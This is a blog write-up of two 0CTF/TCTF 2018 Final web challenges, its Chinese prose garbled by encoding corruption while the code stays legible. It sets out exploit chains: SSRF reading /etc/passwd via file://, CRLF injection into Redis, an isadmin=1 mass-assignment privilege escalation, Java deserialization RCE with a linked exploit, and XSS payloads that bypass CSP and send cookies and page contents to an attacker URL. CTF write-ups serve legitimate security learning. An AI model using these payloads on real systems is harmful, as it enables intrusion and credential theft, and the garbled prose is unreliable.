LoRexxar's Blog

0CTF/TCTF2018 Final Web Writeup

2018/05/31

鏈妫掔殑CTF灏辨槸閭d釜鑳藉甫缁欎綘涓滆タ鍜屽揩涔愮殑CTF浜嗭紝鍏卞媺

show me she shell

杩欐槸涓閬搕omato甯堝倕鍑虹殑涓嶅畬鏁寸殑java棰橈紝java鈥︼紝java鈥︽垜鎭╦ava鈹(锟P 锟)鈹

杩欐槸涓涓鐩竴鏄垪鐩綍+浠绘剰鏂囦欢璇诲彇锛

浜屾槸鍨傜洿瓒婃潈+CLRF閰峉SRF鎵搑edis+鍙嶅簭鍒楀寲鍛戒护鎵ц

棰樼洰鐨勯毦搴﹀湪浜庝唬鐮佹湰韬殑涓嶅畬鏁村拰java锛屾病鍔炴硶瀹為檯娴嬭瘯锛屾墍浠ュ彧鑳藉己琛岄槄璇绘簮鐮侊紝骞歌繍鐨勬槸浠g爜缁撴瀯鏄痵pring瀹屾垚鐨勶紝鍜宲ython鐨刦lask/django缁撴瀯寰堝己锛岃繖涓烘垜浠槄璇绘簮鐮佹彁渚涗簡鍙兘銆

1

鏁翠釜浠g爜涓紝鎺у埗鍣ㄥ彧鏈5涓紝鍏朵腑

1
2
3
4
5
index 棣栭〉
login 鐧婚檰銆佹敞鍐
manager 绠$悊鍛樼鐞
post 鐢ㄦ埛鍙戦乸ost
user 鐢ㄦ埛鍔熻兘锛屽寘鎷笂浼犲ご鍍忓拰鍒犻櫎鑷繁鍙戦佺殑post

entity鏄痯ython涓被浼间簬model鐨勫畾涔夛紝鍏朵腑鍖呮嫭浜哢ser銆丳ost

interceptor涓昏璐熻矗璺敱浠ュ強鏉冮檺璁剧疆锛屾牳蹇冧唬鐮佸涓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response, Object handler) throws Exception {
String requestUri = request.getRequestURI();
for (String s : excludedUrls) {
if (requestUri.endsWith(s)) {
return true;
}
}
User user = (User) request.getSession().getAttribute("user");
if(user == null){
request.getRequestDispatcher("/WEB-INF/pages/login.jsp").forward(request, response);
return false;
}else{
return true;
}
}

閫氳繃request.getRequestURL鑾峰彇杩炴帴锛屽叾涓悗缂鍦╡xcludedUrls鐨勪笉闇瑕佺櫥闄嗭紝鍏朵粬閮介渶瑕佺櫥闄嗘墠鑳借闂

鍏充簬excludedUrls鐨勮缃湪閰嶇疆鏂囦欢涓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<bean class="com.tctf.interceptor.AuthInterceptor">
<property name="excludedUrls">
<list>
<value>/register.do</value>
<value>/login.do</value>
<value>/doregister.do</value>
</list>
</property>
</bean>
</mvc:interceptor>
</mvc:interceptors>

mapper鍏朵腑鍖呭惈浜嗛儴鍒嗘牳蹇冨嚱鏁帮紝浣嗗彧鏈夊嚱鏁板畾涔夛紝娌℃湁浠g爜

service涓寘鍚簡鍏充簬user鎿嶄綔鍜宲ost鎿嶄綔鐨勬牳蹇冨嚱鏁

utiles鏄竴浜涘叾浣欑殑鏍稿績鍑芥暟

绗竴涓紡娲炵偣鍏跺疄姣旇緝瀹规槗鍙戠幇锛屽湪user鐨勬帶鍒跺櫒涓垜浠彲浠ョ湅鍒板叧浜庢洿鎹㈠ご鍍忕殑鍑芥暟

1
2
3
4
5
6
7
8
@RequestMapping(value = "/headimg.do",method = RequestMethod.GET)
public void UpdateHead(@RequestParam("url")String url){
String downloadPath = request.getSession().getServletContext().getRealPath("/")+"/headimg/";
String headurl = "/headimg/"+ HttpReq.Download(url,downloadPath);
User user = (User) session.getAttribute("user");
Integer uid = user.getId();
userMapper.UpdateHeadurl(headurl,uid);
}

鍏充簬鑾峰彇澶村儚鐨勫湴鏂硅皟鐢ㄤ簡HttpReq.Download鍑芥暟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static String Download(String urlString,String path){
String filename = "default.jpg";
if(endWithImg(urlString)) {
try {
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();
urlConnection.setReadTimeout(5*1000);
InputStream is = urlConnection.getInputStream();
byte[] bs = new byte[1024];
int len;
filename = generateRamdonFilename(getFileSufix(urlString));
String outfilename = path + filename;
OutputStream os = new FileOutputStream(outfilename);
while ((len = is.read(bs)) != -1) {
os.write(bs, 0, len);
}
os.close();
is.close();
} catch (Exception e) {
e.printStackTrace();
}
}
return filename;
}

杩欓噷璋冪敤URL绫绘潵鑾峰彇杩斿洖

1
2
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();

浣嗚繖涔嬪墠鎴戜滑闇瑕佺粫杩噀ndWithImg鐨勫垽鏂

1
2
3
4
5
6
7
8
9
private static boolean endWithImg(String imgUrl){
if(StringUtils.isNotBlank(imgUrl)&&(imgUrl.endsWith(".bmp")||imgUrl.endsWith(".gif")
||imgUrl.endsWith(".jpeg")||imgUrl.endsWith(".jpg")
||imgUrl.endsWith(".png"))){
return true;
}else{
return false;
}
}

鍑芥暟姣旇緝娓呮锛屽鍥剧墖閾炬帴鐨勭粨灏惧仛浜嗗垽鏂紝涔熷緢濂界粫杩囷紝鎴戜滑鍙互鐢ㄥ舰浼

1
http://11111/111.php?a=1.jpg

灏卞彲浠ョ洿鎺ョ粫杩囧垽鏂簡锛岃繖閲岃繕绠楁瘮杈冩槑鐧斤紝鎴戜滑鍙互鐩存帴鐢╢ile鍗忚鍘昏鏈湴鏂囦欢锛屽舰浼file:///etc/passwd?a=1.jpg灏卞彲浠ヨ幏鍙栨枃浠跺唴瀹逛簡銆

鍞竴鐨勯棶棰樻槸锛屾垜浠浣曟壘鍒癴lag浣嶇疆浜嗭紝杩欏氨娑夊強鍒颁竴涓皬trick浜

鍦╦ava涓紝鎴戜滑鍙互鐢╢ile:///鎴杗etdoc:///鏉ュ垪鐩綍

閫氳繃杩欑鏂瑰紡锛屾垜浠彲浠ヨ幏鍙栧埌鏈嶅姟鍣ㄤ笂鐨勭涓涓猣lag

2

褰撶劧杩欓噷鐨勭涓棰樻槸褰撴椂鐨勯潪棰勬湡锛屽洜涓鸿繖绉嶅垪鐩綍鏂瑰紡鍙湪java涓墠鏈夛紝鎴戜滑鍥炲埌棰樼洰缁х画鍒嗘瀽銆

鍦ㄧ涓棰樹腑鎴戜滑鎵惧埌浜嗕竴涓猄SRF婕忔礊锛屽湪绗簩棰樹腑锛屼慨澶嶄簡headimg浣跨敤file鍗忚璇绘枃浠剁殑婕忔礊锛屼絾鎴戜滑鍙互鐢–RLF鍚慠edis鍐欏叆鏁版嵁銆

1
headimg.do?url=http://127.0.0.1%0a%0dSET%20A%20A:6379

鈥>

1
redis set A A

浣嗘槸鏈変粈涔堢敤鍛紵

璁╂垜浠啀鍥炲埌棰樼洰浠g爜

鍦╩anagercontroller涓紝鎴戜滑鍙互鍙戠幇鎵鏈夊叧浜巖edis鐨勬搷浣滈兘鍦ㄨ繖閲岋紝浣嗚繖閲屾湁涓涓檺鍒舵槸瑕佹眰褰撳墠鐢ㄦ埛鐨刬sadmin蹇呴』涓1锛屼絾鏁翠釜浠g爜涓苟娌℃湁浠讳綍鍏充簬杩欓儴鍒嗙殑鎿嶄綔锛屾墍浠ユ垜浠『鐫鍥為【浠g爜涓彲鑳芥帴瑙﹀埌璁剧疆isadmin鐨勪綅缃

璺熷叆娉ㄥ唽浠g爜controller.LoginController涓紝鍏充簬娉ㄥ唽鐨勪唬鐮佸涓嬶細

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RequestMapping(value = "/doregister.do",method = RequestMethod.POST)
public String DoRegister(User user, String repassword, Model model){
String result = userService.register(user,repassword);
if(result.equals("ok")){
return "login";
}else{
model.addAttribute("message",result);
return "register";
}
}
@RequestMapping(value = "/register.do",method = RequestMethod.GET)
public String Register(){
return "register";
}

璺熷叆userService.register鍑芥暟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public String register(User user,String repassword) {
String username = user.getUsername();
String password = user.getPassword();
if(StringUtils.isBlank(username.trim()) || StringUtils.isBlank(password.trim())){
return "You need set username and password";
}
int uid = userMapper.SelectIdByUsername(username);
if(uid>0){
return "This username has been registered!";
}
if(!password.equals(repassword)){
return "repassword";
}
userMapper.InsertUser(user);
return "ok";
}

浠旂粏瑙傚療鎴戜滑鍙互鍙戠幇锛岃櫧鐒跺嚱鏁颁腑浠巙ser涓幏鍙栦簡username鍜宲assword骞惰繘鍏userMapper.SelectIdByUsername楠岃瘉锛屼絾鍦ㄦ彃鍏ユ暟鎹殑鏃跺欎粛鐒剁洿鎺ヤ紶鍏ヤ簡user绫汇

杩欓噷鎴戜滑鐪嬬湅user绫荤殑瀹氫箟锛堣繖搴旇鏄被浼间簬python涓璵odel鐨勫畾涔夋柟寮忥級

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class User{
private Integer id;
private String username;
private String password;
private String headurl;
private Boolean isadmin;
public User(Integer id, String username, String password, String headurl, Boolean isadmin) {
this.id = id;
this.username = username;
this.password = password;
this.headurl = headurl;
this.isadmin = isadmin;
}
...

鎴戜滑鍙互娉ㄦ剰鍒拌繖涓嚱鏁板湪鍒濆鍖栨椂鎺ュ彈浜唅sadmin锛岃屽湪鎺у埗鍣ㄤ腑璺敱鎺ユ敹鍒拌繖涓弬鏁版椂涔熸病鏈夊仛浠讳綍鐨勫鐞嗭紝鎵浠ヨ繖閲屽瓨鍦AutoBuilding婕忔礊

褰撴垜浠湪娉ㄥ唽鐨勬椂鍊欙紝鍘焢ost鍙傛暟涓

1
username=test&password=test&repassword=test

鎴戜滑鍙鍔犲叆isadmin鍗冲彲

1
username=test&password=test&repassword=test&isadmin=1

鎴戜滑鎴愬姛缁欏綋鍓嶇敤鎴峰姞鍏ヤ簡绠$悊鍛樻潈闄

鍦ㄨ幏寰椾簡manager鏉冮檺鍚庯紝鎴戜滑灏卞彲浠ユ墽琛宮anager鎺у埗鍣ㄤ笅鐨勬搷浣滀簡锛岃鎴戜滑鏉ョ湅鐪嬩唬鐮

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@RequestMapping(value = "/audit.do")
public String AuditPost(@RequestParam("pid") Integer pid,HttpSession session) {
User user = (User) session.getAttribute("user");
try {
if (user.getIsadmin()) {
postMapper.AuditPost(pid);
Post post = postMapper.GetOne(pid);
redisClient.set(pid,post);
return "manager";
}
}catch (Exception e){
return "redirect:/";
}
return "redirect:/";
}
@RequestMapping(value = "/check.do")
public String CheckPost(@RequestParam("pid") Integer pid, HttpSession session, Model model){
User user = (User) session.getAttribute("user");
try {
if (user.getIsadmin()) {
Post post = redisClient.getObject(pid);
model.addAttribute("post", post);
return "manager";
}
}catch(Exception e){
return "redirect:/";
}
return "redirect:/";
}

杩欏叾涓湁涓涓壒娈婄殑鎿嶄綔灏辨槸瀵逛簬redis鐨勬搷浣滐紝鍏充簬redis鐨勪唬鐮佸湪utils.RedisClient涓

1
2
3
4
5
6
7
8
9
10
11
12
13
public <T> void set(Integer id, T t) {
byte[] key = getKey(id);
RedisSerializer serializer = redisTemplate.getValueSerializer();
byte[] val = serializer.serialize(t);
getConnection().set(key, val);
}
public <T> T getObject(Integer id) {
byte[] key = getKey(id);
byte[] result = getConnection().get(key);
return (T) redisTemplate.getValueSerializer().deserialize(result);
}

寰堟槑鏄惧叾涓殑getObject鍑芥暟鏈夊弽搴忓垪鍖栫殑鎿嶄綔锛屽鏋滄垜浠兂瑕侀氳繃鍙嶅簭鍒楀寲鏉ユ瀯閫燫CE鐨勮瘽锛屾垜浠渶瑕佷竴涓猤adget.

杩欓噷tomato鐢ㄤ簡SpringAbstractBeanFactoryPointcutAdvisor
https://github.com/mbechler/marshalsec

杩欎笅鎬濊矾灏遍潪甯告竻鏅颁簡锛屾暣涓埄鐢ㄩ摼濡備笅

娉ㄥ唽->浣跨敤AutoBuilding瓒婃潈鐧婚檰->浣跨敤headimg鐨剆srf閰嶅悎crlf鍚憆edis涓啓鍏ュ簭鍒楀寲鏁版嵁->check.do鍙嶅簭鍒楀寲->RCE

瀹屾暣exp濡備笅

https://gist.github.com/Tom4t0/97708be968cc3623c74ef860ae031574

h4x0rs.data

鑶淍l4wio锛岃繕鏄偅鍙ヨ瘽锛孋TF鍙槸瀹夊叏鐨勪竴绉嶈〃鐜板舰寮忥紝鑳戒粠CTF鑾峰緱涓滆タ锛岄偅鐪熸槸涓绉嶅緢妫掔殑浣撻獙浜嗐

棰樼洰鏉′欢鏋佸锛屼絾闄愬埗寰堝ぇ锛屽鑷寸殑缁撴灉灏辨槸鏈夐潪甯稿鏈夎叮鐨勮В娉曪紝铏芥槸闈為鏈燂紝浣嗗埄鐢ㄧ偣鍗撮潪甯稿阀濡

棰樼洰鍒嗘瀽

1
2
3
4
5
6
Hi folks
Once upon a time, I made a matching-dot-com-like website, you can find your soulmates here < 3. It's very old source-code (even it's still using `strip_tags`...) .
Recently, I've found out some papers tell that I should enable CSP...gee... I'm lazy to do insert nonce everywhere, but... guess what ? I found out the way to enable CSP in ...clever (weird) way. So I just need to append a `script` tag right before body website, sounds cool huh ?
Moreover, to protect our users (h4x0rs) from ... strangers harrasing on the internet. User id always be renewed after an user login, wow, amazing. But you can still follow them by clicking like button.
Here is my public (aka. not-admin) account. Like me before it's too late 鉂
In case you want to some `flag` cookie. Let's find my private account and get the flag. Good luck!

涓涓湁瓒g殑缃戠珯锛屽叾涓湁涓浜涚壒鐐

  • 缃戠珯鏈夌櫥闄嗘敞鍐岋紙鏈夎韩浠芥潈闄愬尯鍒嗭紝admin鐢ㄦ埛鐧婚檰浼氳缃甪lag cookie锛燂級
  • 姣忎釜鐢ㄦ埛閮芥湁涓涓搴攊d锛屾瘡娆elogin杩欎釜id閮戒細鍙橈紝鏃х殑id閮戒細澶辨晥
  • 杩欎釜id闄や簡鍦profile.php?id={id}鐢ㄤ簬灞曠ず瀵瑰簲id锛岃繕鐢ㄤ簬like.php?id={id}鍠滄
  • 鎴戜滑鍙兘鐪嬪埌鍠滄鐨勪汉锛屽湪杩欓噷鍙互涓鐩寸湅鍒癷d锛屽嵆浣縤d鍙樺寲涔熷彲浠ヨ窡鐫鍙樺寲
  • 椤甸潰寮澶磋缃簡no-referrer

    1
    <meta name="referrer" content="no-referrer">
  • 椤甸潰head鐨勬渶鍚庨潰鐢ㄨ繃澶栭摼鐨勬柟寮忓紩鍏s鏉ヨ缃甤sp

    1
    2
    3
    4
    5
    6
    7
    <script src='https://h4x0rs.date/assets/csp.js?id=9beeb6b41c90040a4dcfa5196d1b0367560d9969f5f9151acce2d3ff54938f2d&page=profile.php'></script>
    meta = document.createElement('meta');
    meta.httpEquiv='Content-Security-Policy';
    meta.content="script-src 'nonce-9beeb6b41c90040a4dcfa5196d1b0367560d9969f5f9151acce2d3ff54938f2d_profilephp_6df92500e3891a9b8d0b16dafa0c11b9'";
    document.head.appendChild(meta);

杩欐牱涓鏉ワ紝CSP鏄氳繃寮曞叆js鐢熸晥鐨勩

  • profile.php椤甸潰娌℃湁浠讳綍杩囨护锛屽彧鍙楀埌CSP闄愬埗

浠旂粏鎬濊冧笂闈㈢殑鍚勭鏉′欢涔嬪悗锛屾垜浠捣鐮侀渶瑕佸畬鎴愪袱姝ワ紝涓鏄幏鍙栧埌admin鐨刬d锛屼簩鏄
鏋勯爔ss鏉ヨ幏鍙朿ookie銆

鑾峰彇id

棣栧厛鎴戜滑闇瑕佹壘涓兘澶熻幏鍙杋d鐨勫湴鏂癸紝杩欓噷棰勬湡鍔犱笂闈為鏈熸湁涓ょ瑙f硶銆

绗竴绉嶆槸鎴戝綋鏃朵娇鐢ㄧ殑鐧婚檰璺宠浆

褰撲綘鍦ㄧ櫥闄嗘儏鍐典笅锛屽鏋滆闂甽ogin.php鏃讹紝浼氳烦杞埌redirect鍙傛暟鍒跺畾鐨勪綅缃紝鏈夎叮鐨勬槸锛岃繖閲宺edirect铏界劧鏈夐檺鍒讹紝鏃犳硶璺冲嚭褰撳墠鍩燂紝浣嗗畠鍗存槸閫氳繃鎷兼帴鏉ユ瀯閫犺烦杞殑锛屼緥濡傦細

1
https://h4x0rs.date/login.php?msg=Please login&redirect=profile.php

灏变細璺宠浆鍒

1
https://h4x0rs.date/profile.php?id={my_id}

浣嗘垜浠鏋滄妸redirect璁剧疆涓

1
profile.php?id={your_id}&a=

灏变細璺宠浆鍒

1
profile.php?id={your_id}&a={my_id}

鐒跺悗锛屾垜浠湪your_id瀵瑰簲鐨刾rofile涓啓鍏ユ爣绛撅紝杩欓噷鏈変釜灏弔ricks

鐢╩eta寮曞叆鐨剅eferrer璁剧疆鏄彲浠ヨ瑕嗙洊鐨

payload:

1
</textarea><meta name="referrer" content="always"><img src={xss_url}></h3>

閫氳繃杩欑鏂瑰紡锛屾垜浠氨鍙互鎷垮埌admin bot涓婄殑admin_id锛岀劧鍚巐ike瀹冨氨鍙互浜

褰撶劧杩欏彧鏄垜浣跨敤鐨勬柟娉曪紝杩樻湁鍑洪浜虹殑瑙f硶銆

鎴戜滑鍥為【profile.php椤甸潰鐨勭粨鏋勶紝褰撴垜浠枩娆竴涓敤鎴峰悗锛岃鐢ㄦ埛灏变細鍑虹幇鍦╬rofile.php缂栬緫椤甸潰鐨勬渶涓嬮潰銆

鍦ㄩ〉闈腑锛屾湁涓涓緢鐗规畩鐨勭偣鍦ㄤ簬锛屾暣涓〉闈㈢殑鎵鏈夋爣绛惧睘鎬ч兘鏄敤鍙屽紩鍙峰寘瑁圭殑锛屼篃灏辨槸璇村鏋滄垜浠湪profile澶勫啓鍏

1
</textarea><img src='{xss_url}?a=

閭d箞鍗曞紩鍙峰氨浼氬寘瑁瑰悗闈㈢殑鎵鏈夊唴瀹癸紝闂鍦ㄤ簬鎴戜滑濡備綍闂悎杩欓噷鐨勫崟寮曞彿鍛紝鑰屼笖chrome鏈変竴涓壒鎬э紝chrome浼歜lock鎵鏈夎姹俇RL涓甫鏈塡n \r \t鐨勮姹

鑰屼笖鍦ㄦ敞鍐屽悕瀛楃殑鏃跺欎細杩囨护宸﹀皷鎷彿浠ュ悗鐨勫瓧绗︼紝浣嗘垜浠粛鐒跺彲浠ラ氳繃鍙冲皷鎷彿銆佸崟寮曞彿鏉ラ棴鍚堝墠闈㈢殑img鏍囩銆

杩欓噷鎴戜滑娉ㄥ唽

1
2
3
test' src='{xss_url}?a=
test'>

涓や釜璐﹀彿锛屽苟璁剧疆profile涓

1
</textarea><img a='

鏁翠釜褰撳墠椤甸潰灏变細鍙樹负绫讳技浜庤繖鏍风殑缁撴瀯

1
2
3
</textarea><img a='...
...# 鍖呭惈\r\n \t鐨勫瀮鍦句俊鎭
test' src'{xss_url}?a=....like?id{maybe_for_admin}....test'>

鎴戜滑鍙互鎴愬姛鑾峰緱杩欓儴鍒嗛〉闈㈢殑鍐呭锛岃繖绉嶆敾鍑绘柟寮忓張鍙data exfiltration 鏁版嵁娉勯湶

鍚屾牱鐨勶紝鎴戜滑涔熷彲浠ラ氳繃寮曞叆css鐨勬柟寮忔潵鑾峰彇椤甸潰鍐呭

1
2
3
4
5
6
<style>
...
...
*{}@import url('{xss_url}
...
');

杩欑寮曞叆鏂瑰紡鐨勫ソ澶勫湪浜庯紝浠栦笉鍙楀埌鎹㈣鐨勫嵃璞★紝鎵浠ユ瘮鍓嶄竴涓洿瀹规槗鎷垮埌鏁版嵁銆

鑾峰緱鐩爣涔嬪悗锛屾垜浠張瑕佸洖鍒伴鐩湰韬紝鏃㈢劧鏄鎷垮埌cookie锛屾垜浠氨蹇呴』鎵惧埌缁曡繃CSP鐨勬柟娉

XSS

棰勬湡瑙

浠旂粏瑙傚療鍔犺浇csp鐨勮姹傛椂锛屾垜浠彲浠ュ彂鐜颁竴涓壒娈婄殑璁剧疆

1
2
Cache-Control
max-age=20

娌¢敊锛屽湪缃戠珯鐨刟ssert鐩綍锛屾湇鍔$寮鍚簡缂撳瓨

鍦ㄦ垜浠湪寰楃煡adminid鐨勬儏鍐典笅锛屾垜浠彲浠ユ彁鍓嶅彂閫佷竴娆¤姹傜紦瀛橈紝鑾峰彇鍒皀onceid涔嬪悗锛屽啀鏋勯爔ss銆

鏁翠釜鍒╃敤閾惧涓:

  • 璇锋眰admin_id鐨刯s閾炬帴

    1
    <script src='https://h4x0rs.date/assets/csp.js?id=77e7528f65be043dee7def9a765a891488678997b946e48c39586c750fd6aee0&page=profile.php'></script>
  • 鐒跺悗瑙f瀽nonce id

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <script>
    setTimeout(()=>{
    var nonce = document.head.children[2].getAttribute('content').slice(18,-1);
    console.log(nonce);
    var f = document.body.appendChild(document.createElement('iframe'));
    f.src = 'x2.html#'+nonce;
    },2000);
    </script>
  • 鐢ㄨВ鏋愬埌鐨刬d鏋勯爔ss

    1
    intro.textContent = "</textarea><script nonce="+location.hash.slice(1)+">alert(document.cookie);</scr"+"ipt>";
  • csrf淇敼褰撳墠profile.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <form action="https://h4x0rs.date/profile.php" method=POST>
    <textarea id=intro name=intro>
    </textarea>
    </form>
    <script>
    intro.textContent = "</textarea><script nonce="+location.hash.slice(1)+">alert(document.cookie);</scr"+"ipt>";
    document.forms[0].submit();
    </script>
  • getflag

鍊煎緱涓棰樼殑鏄紝鐢变簬id浼氫笉鍋滅殑鍙樺寲锛屾墍浠ュ浣曞姩鎬佹瀯閫爌ayload鎴栧浣曞湪涓娆¤姹備腑瀹屾垚鏀诲嚮鏄繖涓鍘熸潵鎬濊矾鏈澶х殑闅剧偣鈥

闈為鏈熻В

鍦ㄦ瘮璧涚粨鏉熷悗锛@tyage鍦╰witter鍏竷浜嗕竴涓潪棰勬湡瑙o紝鍏朵腑鍒╃敤鐨勬柟寮忛潪甯告湁鎰忔濄

鍦ㄥ叧浜嶤SP鐨勬爣鍑嗕腑锛宨frame鏈変竴涓猚sp灞炴э紝鐢ㄤ簬璁剧疆iframe寮曞叆椤甸潰鏃讹紝涓洪〉闈㈠姞杞借缃甤sp

https://w3c.github.io/webappsec-csp/embedded/#csp-attribute

褰技

1
<iframe csp='...'>

鍦ㄨ繖閲屾垜浠彲浠ユ敞鎰忓埌锛宑sp鏄氳繃js寮曞叆meta璁剧疆鐨勶紝杩欓噷灏辨湁浜嗕紭鍏堢骇闂锛屽湪iframe寮曞叆涓涓〉闈㈡椂涓哄叾璁剧疆浜哻sp锛岄鍏堟垜浠渶瑕佹槑鐧界殑涓浠朵簨鎯呮槸锛岄氳繃meta璁剧疆鐨勫涓狢SP鏄細鍚屾椂鐢熸晥銆

浣嗘祻瑙堝櫒瑙f瀽鏄愬彞鎵ц鐨勶紝鍋囪鎴戜滑閫氳繃iframe鐨刢sp鍋氬涓嬬殑璁剧疆

1
test<iframe src=/profile.php?id=b0ad3eba1569915665b4452a5ca0c816a33c1d64f11d1a99fa3d1ee402aad3c8 csp="script-src 'unsafe-inline';">

閭d箞profile.php杩欎釜椤甸潰棣栧厛灏变細瀛樺湪绗竴涓狢SP unsafe-inline锛岃繖涓狢SP浼氱洿鎺ヤ綔鐢ㄤ簬涓嬮潰鐨刯s瑙f瀽锛屽寘鎷氳繃script寮曞叆鐨刢sp.js锛屽氨浼氳鎷︽埅銆

杩欐牱涓鏉ワ紝褰撳墠椤甸潰鐨勬湁鏁圕SP灏变负unsafe-inline锛屾垜浠笅闈㈡彃鍏ョ殑浠g爜灏变細鎴愮珛

鍒╃敤閾惧涓嬶細

  • 娉ㄥ唽user1锛岃缃畃rofile鍐呭涓

    1
    <script>location.href='{xss_url}?a=document.cookie'</script>
  • 鑾峰彇璇d涓簎ser1_id

  • 娉ㄥ唽user2锛岃缃畃rofile鍐呭涓

    1
    test<iframe src=/profile.php?id={user1_id} csp="script-src 'unsafe-inline';">
  • 鑾峰彇user2_id锛岀劧鍚庡彂閫佺粰绠$悊鍛

  • get flag
CATALOG
  1. 1. show me she shell
    1. 1.1. 1
    2. 1.2. 2
  2. 2. h4x0rs.data
    1. 2.1. 棰樼洰鍒嗘瀽
    2. 2.2. 鑾峰彇id
    3. 2.3. XSS
      1. 2.3.1. 棰勬湡瑙
      2. 2.3.2. 闈為鏈熻В